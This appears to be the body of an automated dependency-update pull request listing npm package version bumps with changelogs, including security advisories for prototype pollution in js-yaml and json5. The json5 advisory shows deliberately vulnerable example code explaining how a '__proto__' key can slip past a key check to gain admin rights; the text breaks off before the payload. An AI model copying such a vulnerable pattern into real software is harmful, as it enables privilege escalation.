v1.1.0[Dev Deps] remove unused `has-symbols`, add missing `has-tostringtag`[meta] add missing `engines.node`[New] add types[Tests] use `for-each` and `es-value-fixtures`[Dev Deps] add missing peer dep[Dev Deps] update `@ljharb/eslint-config`, `auto-changelog`, `npmignore`, `object-inspect`, `tape`[actions] split out node 10-20, and 20+[Tests] replace `aud` with `npm audit`[Deps] update `has-bigints`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `has-symbols`, `object-inspect`, `tape`[actions] update rebase action to use reusable workflow[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `object-inspect`, `safe-publish-latest`, `tape`[actions] update codecov uploaderv1.0.4[readme] add github actions/codecov badges[Dev Deps] update `tape`[Deps] add `has-bigints` as a runtime dependency[eslint] remove unnecessary eslintrc file
โ๏ธ is-boolean-object (indirect, 1.1.2 โ 1.2.2) ยท Repo ยท Changelog
Release Notes
1.2.2 (from changelog)
Fixed
- [Fix] do not be tricked by fake Booleans
#25Commits
1.2.1 (from changelog)
Commits
- [Refactor] use
call-bounddirectlybb5aa26
1.2.0 (from changelog)
Commits
- [actions] reuse common workflows
380fa25- [meta] use
npmignoreto autogenerate an npmignore filebefa203- [actions] split out node 10-20, and 20+
ca31663- [New] add types
6d58609- [Dev Deps] update
eslint,@ljharb/eslint-config,core-js,safe-publish-latest,tape06cc67e- [actions] update codecov uploader
0722346- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,tape100acdf- [actions] update rebase action to use reusable workflow
26333ff- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,core-js,tapefde97ee- [Dev Deps] update
@ljharb/eslint-config,auto-changelog,core-js,npmignore,tapef5ed3c8- [Deps] update
call-bind,has-tostringtag61912e2- [Tests] replace
audwithnpm auditc6a0db5- [meta] better
eccheckcommand3a59ec6- [Dev Deps] add missing peer dep
c0e10db
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 21 commits:
v1.2.2[Fix] do not be tricked by fake Booleans[Deps] update `call-bound`[Dev Deps] update `@arethetypeswrong/cli`, `@ljharb/tsconfig`, `@types/tape`, `core-js`v1.2.1[Refactor] use `call-bound` directlyv1.2.0[New] add types[Deps] update `call-bind`, `has-tostringtag`[Dev Deps] add missing peer dep[Dev Deps] update `@ljharb/eslint-config`, `auto-changelog`, `core-js`, `npmignore`, `tape`[actions] split out node 10-20, and 20+[Tests] replace `aud` with `npm audit`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `tape`[actions] update rebase action to use reusable workflow[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `core-js`, `tape`[meta] better `eccheck` command[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `core-js`, `safe-publish-latest`, `tape`[actions] update codecov uploader
โ๏ธ is-builtin-module (indirect, 3.1.0 โ 5.0.0) ยท Repo
Release Notes
5.0.0
Breaking
- Remove
punycodesince it's deprecatedImprovements
4.0.0
Breaking
- Require Node.js 18 52df82e
- This package is now pure ESM. Please read this.
- This package now matches based a static list of modules from the latest Node.js version. If you want to check for a module in the current Node.js (previous behavior), use the core
isBuiltinmethod.
3.2.1
3.2.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 10 commits:
โ๏ธ is-callable (indirect, 1.2.4 โ 1.2.7) ยท Repo ยท Changelog
Release Notes
1.2.7 (from changelog)
Commits
- [Fix] recognize
document.allin IE 6-1006c1db2- [Tests] improve logic for FF 20-35
0f7d9b9- [Fix] handle
document.allin FF 27 (and +, probably)696c661- [Tests] fix proxy tests in FF 42-63
985df0d- [readme] update tested browsers
389e919- [Fix] detect
document.allin Opera 12.16b9f1022- [Fix] HTML elements: properly report as callable in Opera 12.16
17391fe- [Tests] fix inverted logic in FF3 test
056ebd4
1.2.6 (from changelog)
Commits
- [Fix] work for
document.allin Firefox 3 and IE 6-8015132a- [Test] skip function toString check for nullish values
8698116- [readme] add "supported engines" section
0442207- [Tests] skip one of the fixture objects in FF 3.6
a501141- [Tests] allow
classconstructor tests to fail in FF v45 - v54, which has undetectable classesb12e4a4- [Fix] Safari 4: regexes should not be considered callable
4b732ff- [Fix] properly recognize
document.allin Safari 43193735
1.2.5 (from changelog)
Commits
- [actions] reuse common workflows
5bb4b32- [meta] better
eccheckcommandb9bd597- [meta] use
npmignoreto autogenerate an npmignore file3192d38- [Fix] for HTML constructors, always use
tryFunctionObjecteven in pre-toStringTag browsers3076ea2- [Dev Deps] update
eslint,@ljharb/eslint-config,available-typed-arrays,object-inspect,safe-publish-latest,tape8986746- [meta] add
auto-changelog7dda9d0- [Fix] properly report
document.allda90b2b- [actions] update codecov uploader
c8f847c- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,object-inspect,tape899ae00- [Dev Deps] update
eslint,@ljharb/eslint-config,es-value-fixtures,object-inspect,tape344e913- [meta] remove greenkeeper config
737dce5- [meta] npmignore coverage output
680a883
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 30 commits:
v1.2.7[readme] update tested browsers[Tests] fix proxy tests in FF 42-63[Fix] recognize `document.all` in IE 6-10[Fix] HTML elements: properly report as callable in Opera 12.16[Fix] detect `document.all` in Opera 12.16[Tests] improve logic for FF 20-35[Fix] handle `document.all` in FF 27 (and +, probably)[Tests] fix inverted logic in FF3 testv1.2.6[readme] add "supported engines" section[Test] skip function toString check for nullish values[Tests] skip one of the fixture objects in FF 3.6[Tests] allow `class` constructor tests to fail in FF v45 - v54, which has undetectable classes[Fix] work for `document.all` in Firefox 3 and IE 6-8[Fix] Safari 4: regexes should not be considered callable[Fix] properly recognize `document.all` in Safari 4v1.2.5[Fix] for HTML constructors, always use `tryFunctionObject` even in pre-toStringTag browsers[Fix] properly report `document.all`[meta] use `npmignore` to autogenerate an npmignore file[meta] add `auto-changelog`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `es-value-fixtures`, `object-inspect`, `tape`[meta] remove greenkeeper config[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `object-inspect`, `tape`[meta] better `eccheck` command[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `available-typed-arrays`, `object-inspect`, `safe-publish-latest`, `tape`[actions] update codecov uploader[meta] npmignore coverage output
โ๏ธ is-core-module (indirect, 2.5.0 โ 2.16.1) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 64 commits:
v2.16.1[Fix] `node:sqlite` is available in node ^22.13v2.16.0[New] add `node:sqlite`[Dev Deps] update `auto-changelog`, `tape`v2.15.1[Dev Deps] add missing peer dep[Fix] `test/mock_loader` is no longer exposed as of v22.7[Dev Deps] update `mock-property`[Tests] replace `aud` with `npm audit`[Tests] add `process.getBuiltinModule` testsv2.15.0[New] add `node:sea`v2.14.0[meta] add missing `engines.node`[New] add `test/mock_loader`[Deps] update `hasown`[Dev Deps] update `@ljharb/eslint-config`, `aud`, `mock-property`, `npmignore`, `tape`v2.13.1[Refactor] use `hasown` instead of `has`[Dev Deps] update `mock-property`, `tape`v2.13.0[New] `node:test/reporters` and `wasi`/`node:wasi` are in v18.17[Dev Deps] update `@ljharb/eslint-config`, `aud`, `semver`, `tape`v2.12.1[Fix] `test/reporters` now requires the `node:` prefix as of v20.2v2.12.0[New] `test/reporters` added in v19.9, `wasi` added in v20[Dev Deps] update `@ljharb/eslint-config`, `aud`, `tape`[Dev Deps] add missing `in-publish` dep[actions] update rebase action to use reusable workflowv2.11.0[New] `inspector/promises` and `node:inspector/promises` is now available in node 19[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `aud`, `tape`v2.10.0[New] `node:test` is now available in node ^16.17[Tests] improve skip messagev2.9.0[New] add `node:test`, in node 18+[meta] simplify "exports"[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `tape`[Tests] use `mock-property`v2.8.1[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `tape`[Fix] update node 0.4 results[Tests] run `nyc` in `tests-only`, not `test`[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `safe-publish-latest`, `tape`v2.8.0[New] add `readline/promises` to node v17+[Tests] node ^14.18 supports `node:` prefixes for CJS[actions] update codecov uploaderv2.7.0[Dev Deps] update `@ljharb/eslint-config`[New] node `v14.18` added `node:`-prefixed core modules to `require`[eslint] fix linter warning[meta] add `sideEffects` flag[Tests] add coverage for Object.prototype pollutionv2.6.0[New] add `stream/consumers` to node `>= 16.7`[Dev Deps] update `eslint`, `tape`[Refactor] Remove duplicated `&&` operand[Tests] include prereleases
โ๏ธ is-date-object (indirect, 1.0.5 โ 1.1.0) ยท Repo ยท Changelog
Release Notes
1.1.0 (from changelog)
Commits
- [actions] reuse common workflows
35c5af0- [meta] use
npmignoreto autogenerate an npmignore filedb6113c- [New] add types
4f1d9b3- [actions] split out node 10-20, and 20+
c9a1e4f- [Dev Deps] update
eslint,@ljharb/eslint-config,core-js,safe-publish-latest,tape35a2864- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,tapeb670bca- [actions] update rebase action to use reusable workflow
d6bb341- [actions] update codecov uploader
f850678- [Robustness] use
call-bound18ed326- [Dev Deps] update
@ljharb/eslint-config,auto-changelog,core-js,npmignore,tapef0e792f- [meta] add
exportsfield342351f- [Tests] replace
audwithnpm audit9b9b9cf- [Deps] update
has-tostringtag1bc37ab- [meta] add
sideEffectsflag86d3a16- [Dev Deps] add missing peer dep
fee274d
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
v1.1.0[meta] add `exports` field[New] add types[Robustness] use `call-bound`[meta] add `sideEffects` flag[Deps] update `has-tostringtag`[Dev Deps] add missing peer dep[Dev Deps] update `@ljharb/eslint-config`, `auto-changelog`, `core-js`, `npmignore`, `tape`[actions] split out node 10-20, and 20+[Tests] replace `aud` with `npm audit`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `tape`[actions] update rebase action to use reusable workflow[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `core-js`, `safe-publish-latest`, `tape`[actions] update codecov uploader
โ๏ธ is-docker (indirect, 2.2.1 โ 3.0.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 4 commits:
โ๏ธ is-glob (indirect, 4.0.1 โ 4.0.3) ยท Repo
Commits
See the full diff on Github. The new version differs by 8 commits:
โ๏ธ is-negative-zero (indirect, 2.0.1 โ 2.0.3) ยท Repo ยท Changelog
Release Notes
2.0.3 (from changelog)
Commits
- add types
e28f0d5- [meta] use
npmignoreto autogenerate an npmignore filef68ec13- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,tape70abff7- [actions] update rebase action to use reusable workflow
6e1356e- [Dev Deps] update
@ljharb/eslint-config,aud,npmignore,tapec00d4ab- [meta] add
sideEffectsflag9c45539
2.0.2 (from changelog)
Commits
- [actions] reuse common workflows
ece923d- [actions] use
node/installinstead ofnode/run; usecodecovaction3a26f43- [meta] do not publish workflow files
2cea0c2- [readme] add github actions/codecov badges; update URLs
0c0be3e- [Dev Deps] update
eslint,@ljharb/eslint-config,safe-publish-latest,tapea93d16e- [meta] create FUNDING.yml
b4f425e- [actions] update codecov uploader
7999db3- [Dev Deps] update
eslint,@ljharb/eslint-config,auto-changelog,safe-publish-latest,tape140e4d9- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,tape23a8b6d- [readme] add actions and codecov badges
fe92126- [readme] fix repo URLs
50c428e- [Dev Deps] update
eslint,@ljharb/eslint-config,tape688155f- [meta] use
prepublishOnlyscript for npm 7+83171f9- [actions] update workflows
e9823db
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 22 commits:
v2.0.3[meta] add `sideEffects` flagadd types[Dev Deps] update `@ljharb/eslint-config`, `aud`, `npmignore`, `tape`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `tape`[actions] update rebase action to use reusable workflowv2.0.2[actions] reuse common workflows[meta] do not publish workflow files[meta] create FUNDING.yml[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `safe-publish-latest`, `tape`[readme] add github actions/codecov badges; update URLs[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `auto-changelog`, `safe-publish-latest`, `tape`[actions] update codecov uploader[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `tape`[readme] add actions and codecov badges[actions] use `node/install` instead of `node/run`; use `codecov` action[meta] use `prepublishOnly` script for npm 7+[readme] fix repo URLs[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `tape`[actions] update workflows
โ๏ธ is-number-object (indirect, 1.0.6 โ 1.1.1) ยท Repo ยท Changelog
Release Notes
1.1.1 (from changelog)
Commits
1.1.0 (from changelog)
Commits
- [meta] use
npmignoreto autogenerate an npmignore filecb8423c- [New] add types
273e406- [actions] split out node 10-20, and 20+
3da6267- [Robustness] use
call-bind834c098- [actions] update rebase action to use reusable workflow
84a8a9f- [Dev Deps] update
@ljharb/eslint-config,auto-changelog,core-js,npmignore,tape7275bca- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,core-js,tape49a83aa- [Tests] replace
audwithnpm audit061492b- [Refactor] avoid an expensive check, for null
08d29a8- [Deps] update
has-tostringtag4e2ad65- [Dev Deps] add missing peer dep
8228bfa
1.0.7 (from changelog)
Commits
- [actions] reuse common workflows
8f9a1b0- [meta] better
eccheckcommand9dc8dff- [Dev Deps] update
eslint,@ljharb/eslint-config,core-js,safe-publish-latest,tapec50ecbf- [actions] update codecov uploader
f1a2560- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,core-js,tape4b06ace- [Dev Deps] update
eslint,@ljharb/eslint-config,auto-changelog,core-js,tape3dc0e8b- [meta] add
bugs/homepagepackage.json fieldsd7e0bcf
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 24 commits:
v1.1.1[Refactor] use `call-bound` directly[Deps] update `call-bind`[Dev Deps] update `@arethetypeswrong/cli`,` @ljharb/tsconfig`, `@types/tape`v1.1.0[New] add types[Refactor] avoid an expensive check, for null[Robustness] use `call-bind`[Deps] update `has-tostringtag`[Dev Deps] add missing peer dep[Dev Deps] update `@ljharb/eslint-config`, `auto-changelog`, `core-js`, `npmignore`, `tape`[actions] split out node 10-20, and 20+[Tests] replace `aud` with `npm audit`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `core-js`, `tape`[actions] update rebase action to use reusable workflowv1.0.7[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `auto-changelog`, `core-js`, `tape`[meta] add `bugs`/`homepage` package.json fields[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `core-js`, `tape`[meta] better `eccheck` command[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `core-js`, `safe-publish-latest`, `tape`[actions] update codecov uploader
โ๏ธ is-plain-obj (indirect, 1.1.0 โ 4.1.0) ยท Repo
Release Notes
4.1.0
4.0.0
Breaking
3.0.0
Breaking
- Require Node.js 10 1e18041
Breaking for TypeScript users
2.1.0
2.0.0
Breaking:
- Require Node.js 8 9748067
Enhancements:
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 24 commits:
4.1.0Improve performance (#16)Use `node:vm` instead of `vm` (#18)Add one example (#17)Add tests for JSON and Atomics (#15)Make it work across realms (#14)Add a test for `Object.create({})` (#13)Minor tweak4.0.0Require Node.js 12 and move to ESMMove to GitHub Actions3.0.0Require Node.js 10Make the TypeScript types stricter (#10)2.1.0Refactor: Use `Object.prototype` directly (#8)Tidelift tasksCreate funding.ymlAdd Node.js 12 to testing (#5)2.0.0Require Node.js 8Add TypeScript definition (#4)Require Node.js 6update tests for latest AVA version
โ๏ธ is-regex (indirect, 1.1.4 โ 1.2.1) ยท Repo ยท Changelog
Release Notes
1.2.1 (from changelog)
Commits
1.2.0 (from changelog)
Fixed
- [Tests] allow tests to pass if zero traps are triggered
#35Commits
- [actions] reuse common workflows
be7bf6a- [New] add types
39066a4- [meta] use
npmignoreto autogenerate an npmignore file8938588- [Refactor] reorganize code
2f76f26- [actions] split out node 10-20, and 20+
8c9aedf- [meta] better
eccheckcommand6b39408- [Dev Deps] update
eslint,@ljharb/eslint-config,safe-publish-latest,tapee38cf3c- [actions] update codecov uploader
487c75d- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,core-js,foreach,tape0d7da87- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,core-js,tapec1c1198- [actions] update rebase action to use reusable workflow
213646e- [Dev Deps] update
@ljharb/eslint-config,auto-changelog,core-js,npmignore,tape0a44e77- [Refactor] use
hasownd939332- [Deps] update
call-bind,has-tostringtag46bfdc9- [Tests] use
for-eachinstead offoreach138b3f2- [Tests] replace
audwithnpm audit37ed80a- [Deps] update
gopd6fd4097- [Dev Deps] update
core-js97c1c60- [Dev Deps] add missing peer dep
7329b8e
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 25 commits:
v1.2.1[Refactor] use `call-bound` directly[Deps] update `call-bind`, `gopd`[Dev Deps] update `@arethetypeswrong/cli`, `@ljharb/tsconfig`v1.2.0[New] add types[Deps] update `gopd`[Dev Deps] update `core-js`[Refactor] reorganize code[Refactor] use `hasown`[actions] split out node 10-20, and 20+[Dev Deps] add missing peer dep[Tests] allow tests to pass if zero traps are triggered[Deps] update `call-bind`, `has-tostringtag`[Dev Deps] update `@ljharb/eslint-config`, `auto-changelog`, `core-js`, `npmignore`, `tape`[Tests] replace `aud` with `npm audit`[meta] use `npmignore` to autogenerate an npmignore file[Tests] use `for-each` instead of `foreach`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `core-js`, `foreach`, `tape`[actions] update rebase action to use reusable workflow[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `core-js`, `tape`[meta] better `eccheck` command[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `safe-publish-latest`, `tape`[actions] update codecov uploader
โ๏ธ is-stream (indirect, 2.0.1 โ 4.0.1) ยท Repo
Release Notes
4.0.1
- Fix docs 022693d
3.0.0
Breaking
- Require Node.js 12.20 5831295
- This package is now pure ESM. Please read this.
- Changed from a default export to named exports.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
โ๏ธ is-string (indirect, 1.0.7 โ 1.1.1) ยท Repo ยท Changelog
Release Notes
1.1.1 (from changelog)
Commits
1.1.0 (from changelog)
Commits
- [actions] reuse common workflows
12aa75b- [meta] use
npmignoreto autogenerate an npmignore file6401572- [actions] split out node 10-20, and 20+
223540c- [New] add types
7e83d67- [Dev Deps] update
eslint,@ljharb/eslint-config,core-js,safe-publish-latest,tapefebd26e- [readme] add github actions/codecov badges; update URLs
f6bf065- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,core-js,tape8afc37a- [Robustness] use
call-bindac86dd7- [actions] update rebase action to use reusable workflow
77058c8- [actions] update codecov uploader
4312be5- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,core-js,tape98c3779- [Dev Deps] update
@ljharb/eslint-config,auto-changelog,core-js,npmignore,tape7d8e0e5- [Dev Deps] update
eslint,@ljharb/eslint-config,core-js,safe-publish-latest,tape3284ad1- [Tests] replace
audwithnpm audit8cb7ea7- [Refactor] skip expensive check, for null
20fde50- [Deps] update
has-tostringtagb67a78d- [meta] fix repo URL
1a2ee6b- [meta] better
eccheckcommand6913c75- [Dev Deps] add missing peer dep
8ac8551
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 24 commits:
v1.1.1[Refactor] use `call-bound` directly[Deps] update `call-bind`[Dev Deps] update `@arethetypeswrong/cli`, `@ljharb/tsconfig`, `@types/tape`v1.1.0[New] add types[Robustness] use `call-bind`[Refactor] skip expensive check, for null[Deps] update `has-tostringtag`[Dev Deps] add missing peer dep[Dev Deps] update `@ljharb/eslint-config`, `auto-changelog`, `core-js`, `npmignore`, `tape`[actions] split out node 10-20, and 20+[Tests] replace `aud` with `npm audit`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `core-js`, `tape`[actions] update rebase action to use reusable workflow[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `core-js`, `tape`[meta] fix repo URL[meta] better `eccheck` command[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `core-js`, `safe-publish-latest`, `tape`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `core-js`, `safe-publish-latest`, `tape`[readme] add github actions/codecov badges; update URLs[actions] update codecov uploader
โ๏ธ is-symbol (indirect, 1.0.4 โ 1.1.1) ยท Repo ยท Changelog
Release Notes
1.1.1 (from changelog)
Commits
1.1.0 (from changelog)
Commits
- [actions] reuse common workflows
acf85f0- [meta] use
npmignoreto autogenerate an npmignore file77c818e- [Tests] use
for-eachandes-value-fixtures93dfed0- [New] add types
ed6a057- [actions] split out node 10-20, and 20+
7f81ccc- [Robustness] use
call-bindandsafe-regex-testdc7e142- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,object-inspect,tape70f87c2- [Dev Deps] update
eslint,@ljharb/eslint-config,object-inspect,safe-publish-latest,tape3f02ff4- [Dev Deps] update
@ljharb/eslint-config,auto-changelog,has-tostringtag,npmignore,object-inspect,tape9588872- [actions] update rebase action to use reusable workflow
59e2f68- [actions] update codecov uploader
e4759f8- [Dev Deps] update
eslint,auto-changelog,object-inspect,tape33990c0- [Tests] use
has-tostringtagfor more robust Symbol.toStringTag detectiond6154e1- [Tests] replace
audwithnpm audit3215a60- [Refactor] avoid an expensive check, for primitives
59f1a42- [Deps] update
has-symbols06be1a9- [Dev Deps] add missing peer dep
799b0da
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 24 commits:
v1.1.1[types] remove unneeded DT packages[Refactor] use `call-bound` directly[Deps] update `call-bind`, `has-symbols`, `safe-regex-test`[Dev Deps] update `@arethetypeswrong/cli`, `@ljharb/tsconfig`[actions] re-add finishersv1.1.0[New] add types[Tests] use `for-each` and `es-value-fixtures`[Refactor] avoid an expensive check, for primitives[Robustness] use `call-bind` and `safe-regex-test`[Dev Deps] add missing peer dep[Dev Deps] update `@ljharb/eslint-config`, `auto-changelog`, `has-tostringtag`, `npmignore`, `object-inspect`, `tape`[actions] split out node 10-20, and 20+[Tests] replace `aud` with `npm audit`[Deps] update `has-symbols`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `object-inspect`, `tape`[actions] update rebase action to use reusable workflow[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `object-inspect`, `safe-publish-latest`, `tape`[actions] update codecov uploader[Dev Deps] update `eslint`, `auto-changelog`, `object-inspect`, `tape`[Tests] use `has-tostringtag` for more robust Symbol.toStringTag detection
โ๏ธ is-wsl (indirect, 2.2.0 โ 3.1.1) ยท Repo
Release Notes
3.1.1
- Fix detection of WSL with custom kernels 3846912
3.1.0
3.0.0
Breaking
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
โ๏ธ js-yaml (indirect, 3.14.1 โ 4.1.1) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ js-yaml has prototype pollution in merge (<<)
Impact
In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (
__proto__). All users who parse untrusted yaml documents may be impacted.Patches
Problem is patched in js-yaml 4.1.1 and 3.14.2.
Workarounds
You can protect against this kind of attack on the server by using
node --disable-proto=deleteordeno(in Deno, pollution protection is on by default).References
https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html
๐จ js-yaml has prototype pollution in merge (<<)
Impact
In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (
__proto__). All users who parse untrusted yaml documents may be impacted.Patches
Problem is patched in js-yaml 4.1.1 and 3.14.2.
Workarounds
You can protect against this kind of attack on the server by using
node --disable-proto=deleteordeno(in Deno, pollution protection is on by default).References
https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html
Release Notes
4.1.1 (from changelog)
Security
- Fix prototype pollution issue in yaml merge (<<) operator.
4.1.0 (from changelog)
Added
- Types are now exported as
yaml.types.XXX.- Every type now has
optionsproperty with original arguments kept as they were (seeyaml.types.int.optionsas an example).Changed
Schema.extend()now keeps old type order in case of conflicts (e.g. Schema.extend([ a, b, c ]).extend([ b, a, d ]) is now ordered asabcdinstead ofcbad).
4.0.0 (from changelog)
Changed
- Check migration guide to see details for all breaking changes.
- Breaking: "unsafe" tags
!!js/function,!!js/regexp,!!js/undefinedare moved to js-yaml-js-types package.- Breaking: removed
safe*functions. Useload,loadAll,dumpinstead which are all now safe by default.yaml.DEFAULT_SAFE_SCHEMAandyaml.DEFAULT_FULL_SCHEMAare removed, useyaml.DEFAULT_SCHEMAinstead.yaml.Schema.create(schema, tags)is removed, useschema.extend(tags)instead.!!binarynow always mapped toUint8Arrayon load.- Reduced nesting of
/libfolder.- Parse numbers according to YAML 1.2 instead of YAML 1.1 (
01234is now decimal,0o1234is octal,1:23is parsed as string instead of base60).dump()no longer quotes:,[,],(,)except when necessary, #470, #557.- Line and column in exceptions are now formatted as
(X:Y)instead ofat line X, column Y(also present in compact format), #332.- Code snippet created in exceptions now contains multiple lines with line numbers.
dump()now serializesundefinedasnullin collections and removes keys withundefinedin mappings, #571.dump()withskipInvalid=truenow serializes invalid items in collections as null.- Custom tags starting with
!are now dumped as!taginstead of!<!tag>, #576.- Custom tags starting with
tag:yaml.org,2002:are now shorthanded using!!, #258.Added
- Added
.mjs(es modules) support.- Added
quotingTypeandforceQuotesoptions for dumper to configure string literal style, #290, #529.- Added
styles: { '!!null': 'empty' }option for dumper (serializes{ foo: null }as "foo:"), #570.- Added
replaceroption (similar to option in JSON.stringify), #339.- Custom
Tagcan now handle all tags or multiple tags with the same prefix, #385.Fixed
- Astral characters are no longer encoded by
dump(), #587.- "duplicate mapping key" exception now points at the correct column, #452.
- Extra commas in flow collections (e.g.
[foo,,bar]) now throw an exception instead of producing null, #321.__proto__key no longer overrides object prototype, #164.- Removed
bower.json.- Tags are now url-decoded in
load()and url-encoded indump()(previously usage of custom non-ascii tags may have led to invalid YAML that can't be parsed).- Anchors now work correctly with empty nodes, #301.
- Fix incorrect parsing of invalid block mapping syntax, #418.
- Throw an error if block sequence/mapping indent contains a tab, #80.
3.14.2 (from changelog)
Security
- Backported v4.1.1 fix to v3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ jsesc (indirect, 2.5.2 โ 3.1.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 18 commits:
Release v3.1.0Clean upfeat: support bigint (#71)Release v3.0.2feat: check for Buffer existence (#64)Release v3.0.1Tweak whitespace scriptEscape non-ASCII whitespace in minimal mode (#62)Release v3.0.0Remove problematic testAvoid old-school Buffer usage in testsRemove stray requireReplace string escaping with regex replace (#61)Test in modern versions of Node.jsUpdate test expectationRevert "Escape lone surrogates in minimal output (#59)"Escape lone surrogates in minimal output (#59)Fix typo
โ๏ธ json5 (indirect, 2.2.0 โ 2.2.3) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Prototype Pollution in JSON5 via Parse Method
The
parsemethod of the JSON5 library before and including version2.2.1does not restrict parsing of keys named__proto__, allowing specially crafted strings to pollute the prototype of the resulting object.This vulnerability pollutes the prototype of the object returned by
JSON5.parseand not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations.Impact
This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from
JSON5.parse. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution.Mitigation
This vulnerability is patched in json5 v2.2.2 and later. A patch has also been backported for json5 v1 in versions v1.0.2 and later.
Details
Suppose a developer wants to allow users and admins to perform some risky operation, but they want to restrict what non-admins can do. To accomplish this, they accept a JSON blob from the user, parse it using
JSON5.parse, confirm that the provided data does not set some sensitive keys, and then performs the risky operation using the validated data:const JSON5 = require('json5'); const doSomethingDangerous = (props) => { if (props.isAdmin) { console.log('Doing dangerous thing as admin.'); } else { console.log('Doing dangerous thing as user.'); } }; const secCheckKeysSet = (obj, searchKeys) => { let searchKeyFound = false; Object.keys(obj).forEach((key) => { if (searchKeys.indexOf(key) > -1) { searchKeyFound = true; } }); return searchKeyFound; }; const props = JSON5.parse('{"foo": "bar"}'); if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) { doSomethingDangerous(props); // "Doing dangerous thing as user." } else { throw new Error('Forbidden...'); }If the user attempts to set the
isAdminkey, their request will be rejected:const props = JSON5.parse('{"foo": "bar", "isAdmin": true}'); if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) { doSomethingDangerous(props); } else { throw new Error('Forbidden...'); // Error: Forbidden... }However, users can instead set the
